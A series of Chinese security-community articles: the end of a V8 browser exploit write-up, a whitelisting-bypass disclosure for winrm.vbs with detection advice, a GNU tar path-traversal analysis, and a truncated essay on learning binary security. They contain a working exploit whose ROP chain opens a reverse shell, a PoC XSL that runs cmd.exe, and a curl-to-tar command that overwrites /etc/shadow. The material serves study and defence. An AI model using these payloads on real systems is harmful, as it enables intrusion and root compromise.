}
function i2f(value) {
dv.setUint32(0,value,true);
return dv.getFloat32(0,true);
}
//
function opt0(o) {
for(var i = 0; i < 200000; i++) { }
let a = [1.1,2.2,3.3,4.4];
let b = [a];
o(b);
return a[0];
}
for (var i=0;i<10;i++) {
opt0((o)=>{});
}
var spary_size = 0x201;
var spary = new Array(spary_size);
for (var i=0;i<spary_size;i+=3) {
spary[i] = new Array(1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9.9,10.10,11.11,12.12,13.13,14.14,15.15);
spary[i+1] = new ArrayBuffer(0x2000);
spary[i+2] = new Float64Array(0x5);
}
function addressOf(obj) {
var addr = opt0((o)=>{o[0][0] = obj;});
return u32f(addr) - 1;
}
function fakeObject(addr) {
var fval = i2f64(addr + 1);
let f = eval(`(x,y,val)=>{
for(var i = 0; i < 200000; i++) { }
let a = [1.1,2.2,3.3,4.4];
let b = [a];
x(b);
a[0] = val;
return y(b);
}`);
for (var i=0;i<10;i++) {
f((o)=>{},(o)=>{},fval);
}
return f((o)=>{o[0][0] = {};},(o)=>{return o[0][0];},fval);
}
let arr = spary[spary_size-0x3];
let arr_address = addressOf(arr);
let proto_addr = addressOf(Array.prototype);
//fake a FixedDoubleArray Map
arr[0] = p64f(0x08042115,0x18040404);
arr[1] = p64f(0x29000423,0x0a0007ff);
arr[2] = p64f(proto_addr+1,0);
//alert(arr_address.toString(16));
let element_addr = arr_address + 0x14;
let fake_element = element_addr+0x44;
//fake a FixedDoubleArray
arr[4] = p64f(0,element_addr+0x8+0x1);
arr[5] = p64f(0x08042229,fake_element+1);
arr[6] = p64f(0x7ffffffe,0);
//fake a FixedDoubleArray's element
arr[7] = p64f(0,0x08042ab1);
arr[8] = p64f(0x7ffffffe,0);
var arb_fixeddouble_arr = fakeObject(element_addr + 0x2c);
//leak backing store
backing_store_addr = u64f(arb_fixeddouble_arr[0x9]);
heap_t_addr = u64f(arb_fixeddouble_arr[0xa])
//alert(backing_store_addr.toString(16));
//alert(heap_t_addr.toString(16));
//leak compression ptr high byte
compression_high_bytes = u32f(arb_fixeddouble_arr[0x20]);
//alert(compression_high_bytes.toString(16));
function addressOf_full(obj) {
var addr = addressOf(obj);
return (BigInt(compression_high_bytes) << 32n) + BigInt(addr);
}
arr = spary[spary_size-0x6];
arr_address = addressOf(arr);
proto_addr = addressOf(ArrayBuffer.prototype);
//fake a ArrayBuffer Map
arr[0] = p64f(0x08042115,0x140e0e0e);
arr[1] = p64f(0x19000424,0x084003ff);
arr[2] = p64f(proto_addr+1,0);
element_addr = arr_address + 0x14;
fake_element = element_addr+0x44;
//fake a ArrayBuffer
arr[4] = p64f(0,element_addr+0x8+0x1);
arr[5] = p64f(0x08042229,0x08042229);
arr[6] = p64f(0xffffffff,0);
arr[7] = p64f(0,0);
arr[9] = p64f(0,2);
var arb_arraybuffer = fakeObject(element_addr + 0x2c);
var adv = new DataView(arb_arraybuffer);
function read64(addr) {
arr[7] = i2f64(addr);
return adv.getBigUint64(0,true);
}
function write64(addr,value) {
arr[7] = i2f64(addr);
adv.setBigUint64(0,BigInt(value),true);
}
var tmp = read64(heap_t_addr + 0x10n);
var elf_base = read64(tmp) - 0xa76f5c0n;
xchg_rax_rsp = elf_base + 0x872BD7En;
pop_rdi = elf_base + 0xA63BE3Bn;
libc_start_main_got = elf_base + 0x000000000ACA7348n;
var libc_base = read64(libc_start_main_got) - 0x21ab0n;
var system_addr = libc_base + 0x4f4e0n;
//alert("libc_base=" + libc_base.toString(16));
//
let div = document.createElement("div");
let div_addr = addressOf_full(div);
let divobj_addr = read64(div_addr + 20n);
//rop chain
write64(backing_store_addr+0x1000n+0x50n,xchg_rax_rsp);
write64(backing_store_addr+0x1000n,pop_rdi);
write64(backing_store_addr+0x1000n+0x8n,backing_store_addr+0x1000n+0x100n);
write64(backing_store_addr+0x1000n+0x10n,system_addr);
//cmd
write64(backing_store_addr+0x1000n+0x100n,0x7361622F6E69622Fn);
write64(backing_store_addr+0x1000n+0x108n,0x20263E20692D2068n);
write64(backing_store_addr+0x1000n+0x110n,0x7063742F7665642Fn);
write64(backing_store_addr+0x1000n+0x118n,0x302E302E3732312Fn);
write64(backing_store_addr+0x1000n+0x120n,0x20363636362F312En);
write64(backing_store_addr+0x1000n+0x128n,0x31263E30n);
//fake vtable ptr
write64(divobj_addr,backing_store_addr+0x1000n);
//alert("div_addr="+div_addr.toString(16));
div.dispatchEvent(new Event('click'));
</script>
</body>
</html>
## 0x04 感想
在写这篇文章的过程中，某些疑难点无形中理解了，以后得坚持写文章记录过程。
## 0x05 参考
[JVM之逃逸分析](https://zhuanlan.zhihu.com/p/59215831)
[深入理解Java中的逃逸分析](https://blog.csdn.net/hollis_chuang/article/details/80922794)
[[JVM] 逃逸分析(Escape Analysis）](https://www.cnblogs.com/aiqiqi/p/10650394.html)
[Escape Analysis in V8](https://www.jfokus.se/jfokus18/preso/Escape-Analysis-in-V8.pdf)
[Pwn2Win OmniTmizer](https://yichenchai.github.io/blog/omnitmizer) | 社区文章 |
# 使用 winrm.vbs 绕过应用白名单执行任意未签名代码
##### 译文声明
本文是翻译文章，文章原作者 Matt Graeber，文章来源：posts.specterops.io
原文地址：<https://posts.specterops.io/application-whitelisting-bypass-and-arbitrary-unsigned-code-execution-technique-in-winrm-vbs-c8c24fb40404>
译文仅供参考，具体内容表达以及含义原文为准。
## 绕过技术描述
winrm.vbs(System32中的Windows签名脚本)能够使用和执行攻击者控制的XSL，而XSL不受“[enlightened script
host](https://bugs.chromium.org/p/project-zero/issues/detail?id=1514)”的限制，导致任意的、无签名的代码执行。
当向winrm.vbs提供“-format:pretty”或“-format:text”参数时，它会将WsmPty.xsl或WsmTxt.xsl分别从cscript.exe所在的目录中取出。这意味着，如果攻击者将cscript.exe复制到攻击者控制的恶意XSL所在的位置，则将执行任意未签名代码。这个问题实际上与[Casey
Smith](https://twitter.com/subTee)的[wmic.exe技术](https://subt0x11.blogspot.com/2018/04/wmicexe-whitelisting-bypass-hacking.html)完全相同。
## PoC
武器化工作流程如下：
1. 将恶意的WsmPty.xsl或WsmTxt.xsl放置到攻击者控制的位置。
2. 将cscript.exe(或使用wcript.exe和后面描述的技巧)复制到同一位置。
3. 执行winrm.vbs，使用“-format”开关，指定“pretty”或“text”，具体取决于哪个.XSL文件被删除，WsmPty.xsl或 WsmTxt.xsl。
下面是一个“恶意”XSL的例子，它可以放置到攻击者控制的目录中(在这个例子中，是在C:BypassDirWsmPty.xsl中)：
<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
]]> </ms:script>
</stylesheet>
WsmPty.xsl的正确武器化可能包括嵌入式[DotNetToJScript](https://github.com/tyranid/DotNetToJScript)
payload，从而导致执行任意的未签名代码。
mkdir %SystemDrive%BypassDir
copy %windir%System32cscript.exe %SystemDrive%BypassDir
%SystemDrive%BypassDircscript //nologo %windir%System32winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty
## 发现方法论
这一发现本质上是偶然发生的。在与Casey进行了[基于XSL的wmic.exe绕过技术](https://subt0x11.blogspot.com/2018/04/wmicexe-whitelisting-bypass-hacking.html)
的研究后不久，我碰巧正在审核内置的VBS和JScript文件，以获得更多的绕过技术。我审核这些文件类型的动机是受到了[Matt
Nelson](https://twitter.com/enigma0x3)的启发，他最初用他的[Purprn.vbs注入技术](https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/)激起了我的兴趣。在阅读winrm.vbs的源代码时，字符串“WsmPty.xsl”和“WsmTxt.xsl”引起了我的注意，因为正如Casey在他的博客文章中演示的那样，使用XSL的应用程序有可能通过将WSH脚本内容嵌入到XSL文件中来实现任意代码执行。当然，winrm.vbs也不例外。
更广泛地说，我常常非常积极地寻找允许任意、未签名代码执行的签名脚本和二进制文件，因为它们不仅可以绕过应用程序白名单，而且不太可能被安全产品检测到(至少在它们被发布之前是不会被发现的)。我总是在狩猎！
## 检测与规避策略
为了该技术建立健壮的检测，重要的是确定执行该技术所需的最小组件集。
> 必须删除攻击者控制的WsmPty.xsl或WsmTxt.xsl。
winrm.vbs对WsmPty.xsl和WsmTxt.xsl进行硬编码，并显式地将它们绑定到“pretty”和“text”参数。似乎没有办法指示winrm.vbs使用不同的XSL文件，而不是使用XSL
payload的可执行文件的当前工作目录(即在大多数情况下使用cscript.exe)。从检测的角度来看，WsmPty.xsl或WsmTxt.xsl文件的哈希值与System
32中的哈希值不同，应该被认为是可疑的。幸运的是，合法XSL文件的哈希值很少会改变。
此外，合法的WsmPty.xsl和WsmTxt.xsl文件是目录签名的。任何偏离这些哈希值将导致文件不再签名。换句话说，磁盘上没有签名的任何WsmPty.xsl或WsmTxt.xsl都应该被怀疑。请注意，目录签名验证要求运行“cryptsvc”服务。
> 必须执行签名的winrm.vbs。如果攻击者要编辑winrm.vbs的内容，这种绕过方法的值将无效。
基于命令行中winrm.vbs的存在来构建检测相对较弱，因为攻击者可以将winrm.vbs重命名为他们选择的文件名。
> 为了使用XSL文件，必须用“pretty”或“text”参数指定“format”。
允许对“format”进行以下不敏感的参数更改：
-format:pretty
-format:"pretty"
/format:pretty
/format:"pretty"
-format:text
-format:"text"
/format:text
/format:"text"
虽然构建“format”是否存在的检测将捕捉所有的变化，但检测可能存在问题。“format”参数是否合法使用将取决于组织。但是，除了System32中的cscript.exe和winrm.vbs之外，不太可能从其他任何地方合法调用。
> winrm.vbs预计将从cscript.exe执行。脚本中有执行验证的逻辑。
winrm.vbs通过验证WScript.FullName(到正在执行的主机二进制文件的完整路径)包含“cscript.exe”来验证它是否从cscript.exe执行。不过，这是一个弱的验证，因为它只检查“cscript.exe”是否位于完整路径的任何位置。这对攻击者意味着，如果他们想要从重命名的cscript.exe或甚至从另一个脚本主机二进制文件(如wcript.exe)启动winrm.vbs，它们都可以启动winrm.vbs。下面是一个update
.bat PoC，它绕过了“cscript.exe”检查。
mkdir %SystemDrive%BypassDircscript.exe
copy %windir%System32wscript.exe %SystemDrive%BypassDircscript.exewinword.exe
%SystemDrive%BypassDircscript.exewinword.exe //nologo %windir%System32winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty
## 检测鲁棒性需要注意的
* 在PoC示例中选择get wmicimv2/Win32_Process?Handle=4参数仅仅是为了演示一个实际的命令行参数，假设启用了WinRM服务，该参数实际上将返回有用的内容。不过，请注意，并不需要启用WinRM服务才能使用该技术，还有各种其他选项支持“format”参数。这些选项没有显示任何形式的恶意意图。
* 鲁棒性的检测不会涉及到在命令行中查找cscript.exe或wcript.exe。没有什么可以阻止攻击者复制和重命名WSH主机可执行文件。要对进程执行进行更健壮的检测，就需要验证“原始文件名（Original filename）”以及二进制文件的签名。“原始文件名（Original filename）”(“版本信息/version info”嵌入式资源的一个组件)是文件签名时哈希计算的一部分。如果攻击者试图修改WSH主机可执行文件中的任何嵌入资源，则签名将无效。
## 缓解和预防策略
可以通过在执行用户模式代码完整性(UMCI)的情况下启用Windows防御应用程序控制(WDAC)来防止这种技术。脚本的易受攻击版本需要被哈希阻塞，因为没有其他健壮的方法来阻止易受攻击的签名脚本。然而，识别脚本的所有易受攻击版本是困难的，因为防御者不太可能捕获所有可能的Windows版本中Winrm.vbs的所有易受攻击版本的所有哈希值。[这篇文章](https://posts.specterops.io/assessing-the-effectiveness-of-hash-based-application-whitelisting-blacklist-rules-fe1cb01975a9)更详细地介绍了脚本黑名单的无效性。
至于缓解，Microsoft可以在脚本中修复该问题并发布新的目录签名。这样做将使以前易受攻击的脚本版本成为未签名版本。因此，如果使用WDAC强制执行脚本签名，那么以前易受攻击的winrm.vbs版本将无法执行。但是，这种方案仅阻止非管理员执行易受攻击的winrm.vbs版本。以管理员身份运行的攻击者可以安装以前的目录签名，从而恢复执行易受攻击的winrm.vbs版本的功能。
上述两种预防/缓解方案都依赖于WDAC的执行。考虑到绝大多数组织都不会启用WDAC，即使使用固定的winrm.vbs，也无法阻止攻击者将易受攻击版本的winrm.vbs放入磁盘并执行该操作。最后，确实没有可靠的预防解决方案，即使修复了winrm.vbs。
## WSH/XSL Script
这不是第一次，当然也不会是最后一次XSL和WSH被攻击者滥用。理想情况下，攻击者应该能够洞察payload是从磁盘执行还是完全在内存中执行。Powershell具有这种使用[scriptblock日志](https://blogs.msdn.microsoft.com/powershell/2015/06/09/powershell-the-blue-team/)
的开箱即用能力。然而，WSH却没有这样的等价物。随着[反恶意软件扫描接口](https://cloudblogs.microsoft.com/microsoftsecure/2015/06/09/windows-10-to-offer-application-developers-new-malware-defenses/)(AMSI)的引入，如果你愿意使用ETW，就有可能捕获WSH内容。
AMSI Optics通过Microsoft-Antimalware-Scan-Interface
ETW供应商公开.如果你想尝试捕获AMSI事件，可以使用的最佳库之一是KrabsETW。不过，简单起见，可以使用logman.exe捕获ETL跟踪。例如，以下命令将启动和停止ETW跟踪，并将与AMSI相关的事件保存到AMSITrace.etl：
logman start AMSITrace -p Microsoft-Antimalware-Scan-Interface Event1 -o AMSITrace.etl -ets
<After starting the trace, this is when you'd run your malicious code to capture its context.>
logman stop AMSITrace -ets
虽然ETW的机制超出了这篇文章的范围，但你可能想知道我是如何知道Microsoft-Antimalware-Scan-Interface
ETW提供者的，以及“Event1”关键字是从哪里来的。
通过使用logman query
providers命令查询已注册的提供者，我知道了ETW提供者的名称。“Event1”对应于捕获AMSI上下文的关键字。为了发现该关键字，我使用了[perview.exe](https://twitter.com/mattifestation/status/774321379411955712)将ETW清单转储到XML。清单还让你深入了解可以通过提供者收集的事件。
<instrumentationManifest xmlns="http://schemas.microsoft.com/win/2004/08/events">
<instrumentation xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:win="http://manifests.microsoft.com/win/2004/08/windows/events">
<events>
<provider name="Microsoft-Antimalware-Scan-Interface" guid="{2a576b87-09a7-520e-c21a-4942f0271d67}" resourceFileName="Microsoft-Antimalware-Scan-Interface" messageFileName="Microsoft-Antimalware-Scan-Interface" symbol="MicrosoftAntimalwareScanInterface" source="Xml" >
<keywords>
<keyword name="Event1" message="$(string.keyword_Event1)" mask="0x1"/>
</keywords>
<tasks>
<task name="task_0" message="$(string.task_task_0)" value="0"/>
</tasks>
<events>
<event value="1101" symbol="task_0" version="0" task="task_0" level="win:Informational" keywords="Event1" template="task_0Args"/>
</events>
<templates>
<template tid="task_0Args">
<data name="session" inType="win:Pointer"/>
<data name="scanStatus" inType="win:UInt8"/>
<data name="scanResult" inType="win:UInt32"/>
<data name="appname" inType="win:UnicodeString"/>
<data name="contentname" inType="win:UnicodeString"/>
<data name="contentsize" inType="win:UInt32"/>
<data name="originalsize" inType="win:UInt32"/>
<data name="content" inType="win:Binary" length="contentsize"/>
<data name="hash" inType="win:Binary"/>
<data name="contentFiltered" inType="win:Boolean"/>
</template>
</templates>
</provider>
</events>
</instrumentation>
<localization>
<resources culture="en-US">
<stringTable>
<string id="keyword_Event1" value="Event1"/>
<string id="task_task_0" value="task_0"/>
</stringTable>
</resources>
</localization>
</instrumentationManifest>
捕获.ETL跟踪后，可以使用你选择的工具对其进行分析。PowerShell中的Gt-WinEvent是一个很好的内置.ETL解析器。我编写了一个简短的脚本来演示如何解析AMSI事件。注意WSH无法提供“ContentName”属性的bug，这导致需要手动解析事件数据。脚本还将捕获PowerShell的内容。
# Script author: Matt Graeber (@mattifestation)
# logman start AMSITrace -p Microsoft-Antimalware-Scan-Interface Event1 -o AMSITrace.etl -ets
# Do your malicious things here that would be logged by AMSI
# logman stop AMSITrace -ets
$OSArchProperty = Get-CimInstance -ClassName Win32_OperatingSystem -Property OSArchitecture
$OSArch = $OSArchProperty.OSArchitecture
$OSPointerSize = 32
if ($OSArch -eq '64-bit') { $OSPointerSize = 64 }
$AMSIScanEvents = Get-WinEvent -Path .AMSITrace.etl -Oldest -FilterXPath '*[System[EventID=1101]]' | ForEach-Object {
if (-not $_.Properties) {
# The AMSI provider is not supplying the contentname property when WSH content is logged resulting
# in Get-WinEvent or Event Viewer being unable to parse the data based on the schema.
# If this bug were not present, retrieving WSH content would be trivial.
$PayloadString = ([Xml] $_.ToXml()).Event.ProcessingErrorData.EventPayload
[Byte[]] $PayloadBytes = ($PayloadString -split '([0-9A-F]{2})' | Where-Object {$_} | ForEach-Object {[Byte] "0x$_"})
$MemoryStream = New-Object -TypeName IO.MemoryStream -ArgumentList @(,$PayloadBytes)
$BinaryReader = New-Object -TypeName IO.BinaryReader -ArgumentList $MemoryStream, ([Text.Encoding]::Unicode)
switch ($OSPointerSize) {
32 { $Session = $BinaryReader.ReadUInt32() }
64 { $Session = $BinaryReader.ReadUInt64() }
}
$ScanStatus = $BinaryReader.ReadByte()
$ScanResult = $BinaryReader.ReadInt32()
$StringBuilder = New-Object -TypeName Text.StringBuilder
do { $CharVal = $BinaryReader.ReadInt16(); $null = $StringBuilder.Append([Char] $CharVal) } while ($CharVal -ne 0)
$AppName = $StringBuilder.ToString()
$null = $StringBuilder.Clear()
$ContentSize = $BinaryReader.ReadInt32()
$OriginalSize = $BinaryReader.ReadInt32()
$ContentRaw = $BinaryReader.ReadBytes($ContentSize)
$Content = [Text.Encoding]::Unicode.GetString($ContentRaw)
$Hash = [BitConverter]::ToString($BinaryReader.ReadBytes(0x20)).Replace('-', '')
[Bool] $ContentFiltered = $BinaryReader.ReadInt32()
$BinaryReader.Close()
[PSCustomObject] @{
Session = $Session
ScanStatus = $ScanStatus
ScanResult = $ScanResult
AppName = $AppName
ContentName = $null
Content = $Content
Hash = $Hash
ContentFiltered = $ContentFiltered
}
} else {
$Session = $_.Properties[0].Value
$ScanStatus = $_.Properties[1].Value
$ScanResult = $_.Properties[2].Value
$AppName = $_.Properties[3].Value
$ContentName = $_.Properties[4].Value
$Content = [Text.Encoding]::Unicode.GetString($_.Properties[7].Value)
$Hash = [BitConverter]::ToString($_.Properties[8].Value).Replace('-', '')
$ContentFiltered = $_.Properties[9].Value
[PSCustomObject] @{
Session = $Session
ScanStatus = $ScanStatus
ScanResult = $ScanResult
AppName = $AppName
ContentName = $ContentName
Content = $Content
Hash = $Hash
ContentFiltered = $ContentFiltered
}
}
}
$AMSIScanEvents
捕获跟踪后，将看到执行的payload的内容。
[](https://p1.ssl.qhimg.com/t0188ef6b6b54504a5a.png
"示例显示AMSIETW提供者从前面引用的PoCXSL payload捕获攻击上下文")
了解基于ETW的optics和检测规模超出了这篇文章的范围，但希望这个例子能激励你进一步研究它。
## 时间表
正如SpecterOps致力于提高[透明度](https://posts.specterops.io/a-push-toward-transparency-c385a0dd1e34)一样，我们承认攻击者一旦被公开采用新的进攻技术的速度。这就是为什么在发布一种新的攻击技术之前，我们会定期将问题通知各自的供应商，提供充足的时间来缓解问题，并通知选定的受信任的供应商，以确保检测能够尽快交付给他们的客户。
由于此技术影响到Windows防御应用程序控制(通过MSRC提供的可使用的安全功能)，该问题已报告给Microsoft。披露时间表如下：
* 2018年4月24日-向MSRC提交报告
* 2018年4月24日-报告已确认并指定了案件编号
* 2018年4月30日-收到电子邮件，表示已复现该问题
* 2018年5月24日-发送电子邮件至MSRC请求更新
* 2018年5月28日-答复称评估工作仍在进行中
* 2018年6月10日-发送电子邮件至MSRC请求更新
* 2018年6月11日-MSRC回应称，产品团队的目标是8月份修复问题。
* 2018年7月12日-MSRC的答复中指出，该问题不能通过安全更新来解决，可能在v.Next中解决
审核人：yiwang 编辑：边边 | 社区文章 |
Author: **LG (知道创宇404安全实验室)**
Date: 2016-11-09
## 漏洞简介
GNU tar文档管理命令是linux系统下常用的一个打包、压缩的命令。经CSS（FSC1V Cyber Security
Services）团队的研究员Harry
Sintonen研究发现，tar命令在提取路径时能够被绕过导致在某些情况下文件被覆盖。在一些特定的场景下，利用此漏洞甚至可导致远程代码执行。
## 漏洞影响范围
从GNU tar 1.14 to 1.29 (包含1.29) 影响包括Red Hat, Alphine Linux，Red Star
OS以及其他所有使用GNU tar的Linux系统。
## 漏洞细节
攻击者利用该漏洞，构造一个特殊的tar包。当受害者使用tar命令解压时，受害者指定的目标路径可被绕过，tar包内的文件与目录就被解压到攻击者指定的位置。
### 具体攻击场景
以下为漏洞发现者提供的实际攻击场景 1.攻击者可以用这种手段诱使用户替换一些重要的文件，例如 `.ssh/authorized_keys ， .bashrc
, .bash_logout , .profile , .subversion`或 `.anyconnect`
user@host:~$ dpkg --fsys-tarfile evil.deb | tar -xf - \
--wildcards 'blurf*'
tar: Removing leading `blurf/../' from member names
user@host:~$ cat .ssh/authorized_keys
ssh-rsa AAAAB3...nU= mrrobot@fsociety
user@host:~$
2.有一些从web应用或者其它类似来源自动解压文件的脚本，这些脚本一般会以setuid root权限执行，通常这类脚本的解压命令如下： `#tar -C /
-zxf /tmp/tmp.tgz etc/application var/chroot/application/etc`
在这种情况下，攻击者可以重写 /var/spoon/cron/crontabs/root 以获取root身份的代码执行能力；
也可以将可能被root身份执行的二进制文件替换成一个有后门的版本； 或者投放一个setuid
root的二进制文件，等待被管理员执行，使攻击者有机会获取root权限。
3.以root身份执行解压命令也可能被攻击 。例如上文中提到覆写 /etc/shadow 的例子
如果--exclude规则与--anchored选项同时使用，那么即使手动加了--exclude规则也没有用，例如：
`tar -C / -xvf tar-poc.tar --anchored --exclude etc/shadow`
在两种情况下，攻击者都成功地把/etc/test替换成了任意内容。
不过，在实际利用这个漏洞时，攻击者需要首先知道一些特定的前导信息，例如解压命令执行时实际在命令行下指定的路径名，毕竟在构造攻击tar包时“../”序列之前的路径前缀需要符合tar命令中所输入的路径，攻击才能奏效。
### 代码分析
根据漏洞发现者的分析，在lib/paxnames.c文件中，有一个safer_name_suffix()函数，这个函数取代了1.13版本的检查机制。
/* Return a safer suffix of FILE_NAME, or "." if it has no safer
suffix. Check for fully specified file names and other atrocities.
Warn the user if we do not return NAME. If LINK_TARGET is 1,
FILE_NAME is the target of a hard link, not a member name.
If ABSOLUTE_NAMES is 0, strip filesystem prefix from the file name. */
char *
safer_name_suffix (char const *file_name, bool link_target,
bool absolute_names)
{
char const *p;
if (absolute_names)
p = file_name;
else
{
/* Skip file system prefixes, leading file name components that contain
"..", and leading slashes. */
size_t prefix_len = FILE_SYSTEM_PREFIX_LEN (file_name);
for (p = file_name + prefix_len; *p; )
{
if (p[0] == '.' && p[1] == '.' && (ISSLASH (p[2]) || !p[2]))
prefix_len = p + 2 - file_name;
do
{
char c = *p++;
if (ISSLASH (c))
break;
}
while (*p);
}
for (p = file_name + prefix_len; ISSLASH (*p); p++)
continue;
prefix_len = p - file_name;
if (prefix_len)
{
const char *prefix;
if (hash_string_insert_prefix (&prefix_table[link_target], file_name,
prefix_len, &prefix))
{
static char const *const diagnostic[] =
{
N_("Removing leading `%s' from member names"),
N_("Removing leading `%s' from hard link targets")
};
WARN ((0, 0, _(diagnostic[link_target]), prefix));
}
}
}
//...
return p ;
从代码注释可以看出，如果`absolute_names`变量为1，将`file_name`赋值给p继续.反之若为0则将文件名中文件系统的前缀给去掉，并且也会对file_name进行一些安全检查
。
因此，当tar解包时若文件名中包含“../”，`safer_name_suffix`函数会删除"../"及其之前的部分，将其与解压目录路径变为相对关系。这么做的目的是在兼顾文件名的安全性时保证文件的提取，而不是之前版本中改动的跳过含有恶意文件名的文件。在经过长达13年的应用后，这个漏洞终于被Harry
Sintonen发现并公布出来。
于是，笔者研究了这个漏洞相关的发展历史。 [tar所有版本下载链接](https://ftp.gnu.org/gnu/tar/) 发现：
* tar通过src/extarct.c提取文件
* extract.c Revision 1.35前未加入安全检测，可以通过“../”字符串直接绕过解压路径问题，并将文件写到任意位置
* extract.c Revision 1.35加入安全检测，会警告压缩文件文件名中存在“..”字符串，并且会跳过不去处理这些文件
* extract.c Revision 1.47引入safer_name_suffix函数
* tar 1.16版本后，extract.c文件代码重构，在lib/paxnames.c文件中定义`safer_name_suffix`函数
然后笔者继续深入，通过tar官网extract.c文件更新列表对比，从源代码分析tar的安全检测行为。
#### 1999/12/13 commit 前后对比
Revision 1.35官方tag中有一条：
++(extract_archive): By default, warn about ".." in member names, and skip them.++
即Revision 1.35加入了（extract_archive）：默认情况下，在成员名称中警告“..”，并跳过它们
上图中，绿色代码区的功能就填补了之前安全检测的空白。它首先遍历`CURRENT_FILE_NAME`，如果存在".."就会警告"Member name
contains`..'"，然后跳过这些文件，不去处理它们。而左边的灰色空白区域表明之前的版本缺少安全检测，"../"字符串就能绕过解压路径将文件写到任意位置。
#### 2003/07/05 commit 前后对比
在Revision 1.47官方tag中：
`++(extract_archive): Use safer_name_suffix rather than rolling our own.++`
这就是漏洞初始出现的位置了。
通过代码对比我们可以看到，更新的版本使用`safer_name_suffix` 函数来替代了开发者自己写的规则。
## 漏洞检测方法
方法一：漏洞发现者给出了示例PoC，用户可用其自检。 (该方法会覆盖用户帐号密码，导致root用户密码为空，建议使用实验环境测试或者采用方法二)
curl https://sintonen.fi/advisories/tar-poc.tar | tar xv etc/motd
cat etc/shadow
示例poc
示例poc中含有一个文件shadow，路径为etc/motd/../etc/shadow。在根目录下解压该包，由于漏洞的影响，"../"前面的内容给去掉了，路径文件名只剩下etc/shadow，原有etc/shadow文件就被其覆盖了。
方法二： 访问https://sintonen.fi/advisories/tar-poc.tar
下载测试tar包后在提取前重命名tar包内shadow文件名，如重命名为test。然后运行如下命令： `sudo -s tar -C / -xvf tar-poc.tar etc/motd` 查看etc目录下，若生成了test文件，证明漏洞存在。
## 漏洞修复补丁
[官方补丁地址](http://git.savannah.gnu.org/cgit/tar.git/commit/?id=7340f67b9860ea0531c1450e5aa261c50f67165d)
GNU tar修复了该漏洞，将安全检测机制重新替换回了extract.c Revision 1.35的规则。
## 漏洞利用分析
在实际场景中，此漏洞的利用条件比较苛刻。
## 参考链接
[[0]
https://www.seebug.org/vuldb/ssvid-92524](https://www.seebug.org/vuldb/ssvid-92524)
[[1]https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=842339](https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=842339)
[[2]https://sintonen.fi/advisories/tar-extract-pathname-bypass.proper.txt](https://sintonen.fi/advisories/tar-extract-pathname-bypass.proper.txt)
[[3]https://sintonen.fi/advisories/tar-extract-pathname-bypass.patch](https://sintonen.fi/advisories/tar-extract-pathname-bypass.patch)
[[4]https://www.gnu.org/software/tar/ ](https://www.gnu.org/software/tar/)
[[5]http://cvs.savannah.gnu.org/viewvc/tar/tar/src/extract.c?view=log&pathrev=release_1_15_1#rev1.47](http://cvs.savannah.gnu.org/viewvc/tar/tar/src/extract.c?view=log&pathrev=release_1_15_1#rev1.47)
* * * | 社区文章 |
之前一直有写文章总结一下学习二进制安全过程的想法，但是因为某些原因（好吧就是懒）一直未行动。恰好泡泡看到平台上的问题来邀请我回答一下，就借这个机会做个小总结，希望能给当时像我一样略微迷茫的同学一些帮助。
### 从0到1
初入大学之前的暑假，我才第一次听到C语言这个名字。作为一名选择了计算机专业的电脑小白，除了一开始在课堂跟着老师写点hello
world，在专业知识上十分迷茫。 后来我大一就加入了院里的信息安全社团--Blue
Whale，社团的学长给我们推荐了一些非常有用的书籍。其中两本书也推荐给刚开始学习二进制安全的你：
1. 《大学计算机基础》（如果你是计算机小白，强烈推荐）
2. 《程序员的自我修养：链接、装载与库》。这本书详细介绍了你写的C的hello world，从源代码到机器最终去执行这个过程发生了什么。
### 从理论到实战--CTF入门
CTF的介绍我这里就不多写了，有兴趣了解的朋友可以参考[CTF-wiki](https://ctf-wiki.org/ "CTF-wiki")
。CTF竞赛是一个可以将理论知识进行实践的过程。我在大二到大三大约一年多的时间里频繁参加各类CTF竞赛。也是在这个过程中，我明显感到自己的动手能力和快速学习能力有明显的提升。顺便推荐下二进制方向的CTF学习上手最好从Reverse方向上手，原因后面会说明。
这个过程中，推荐你多去动手查资料，可以关注一些知名战队的twitter或者别的发布渠道，在赛后阅读一下费了功夫但是未解出的题目的writeup。
同时可以尝试去阅读一些操作系统方向类的书籍或者操作系统源码，这部分在后续的二进制安全学习中多多少少会用到；除了安全方向，基础的算法和编程能力建议也不要落下，像《算法导论》和ACM竞赛这类都是值得去学习尝试的。
### 从入门到精通--CTF进阶
当你觉得国内CTF竞赛已经学不到新的东西时，我建议你多去尝试参加一些国际类CTF竞赛，如Defcon，Plaid
CTF等。这类国际CTF竞赛的赛题质量相对高一些。这一阶段也可以尝试去上手pwn方向题目，学习过程可以参考Reverse类题目的学习过程，通过刷题去掌握必要的知识和套路。这里解释下我为什么建议二进制安全的学习入门选择reverse方向。不论是pwn方向还是后续的软件漏洞挖掘与利用，难度主要集中在两点上：漏洞的发现和漏洞的利用。漏洞的发现在很多场景下会依赖个人的逆向能力。因此，扎实的逆向能力会是学习二进制漏洞挖掘与利用的前提条件。
### 从CTF到真实漏洞挖掘
我挖掘到的第一个真实软件的漏洞是存在于Qemu中的一个除法错误漏洞（在这之前我都不相信这类bug可以作为一个漏洞来报告）。从经验来说，我建议刚开始尝试独立挖掘CVE的同学先去复现一些某个方向的漏洞，如windows内核提权，Linux内核提权等，之后再尝试对已公开的漏洞举一反三，对漏洞上下文或附近代码进行分析，看看是不是有类似的漏洞未被发现（俗称捡漏）。近年来一些国际性的CTF也会偏向于通过0day或者1day漏洞来出题，这类题目也是学习不同方向漏洞分析与利用方法的好途径。另外，很多国际安全会议会有一些安全研究人员分享一些最新的漏洞挖掘思路和利用技巧，这些也很值得关注和学习。如果你计划读研或者读博，去读一读顶会二进制安全方向的论文也是一个不错的选择。
### 二进制安全研究现状和学习资料推荐
